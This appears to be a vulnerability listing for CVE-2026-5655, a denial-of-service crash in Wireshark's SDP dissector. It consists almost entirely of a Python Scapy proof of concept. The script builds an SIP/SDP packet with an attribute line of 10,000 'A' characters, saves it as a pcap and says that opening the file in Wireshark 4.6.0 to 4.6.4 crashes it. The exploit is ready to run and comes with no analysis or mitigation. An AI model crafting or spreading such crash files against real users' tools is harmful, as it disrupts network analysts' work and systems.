CVE-2026-5655 Wireshark SDP协议解析器拒绝服务漏洞

from scapy.all import * from scapy.layers.inet import IP, UDP import sys # Construct a malicious SDP packet payload # This payload simulates an overly long SDP field to trigger the crash malicious_sdp = b"v=0\r\n" malicious_sdp += b"o=- 123456 2 IN IP4 127.0.0.1\r\n" malicious_sdp += b"s=Malicious Session\r\n" malicious_sdp += b"c=IN IP4 127.0.0.1\r\n" malicious_sdp += b"t=0 0\r\n" malicious_sdp += b"m=audio 49170 RTP/AVP 0\r\n" malicious_sdp += b"a=" + b"A" * 10000 + b"\r\n" # Trigger point: Excessive length # Encapsulate in IP/UDP packets (SIP/SDP often runs over UDP) packet = IP(dst="127.0.0.1") / UDP(dport=5060, sport=5060) / Raw(load=malicious_sdp) # Save to pcap file wrpcap("cve_2026_5655_poc.pcap", [packet]) print("[+] PoC file generated: cve_2026_5655_poc.pcap") print("[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the crash.")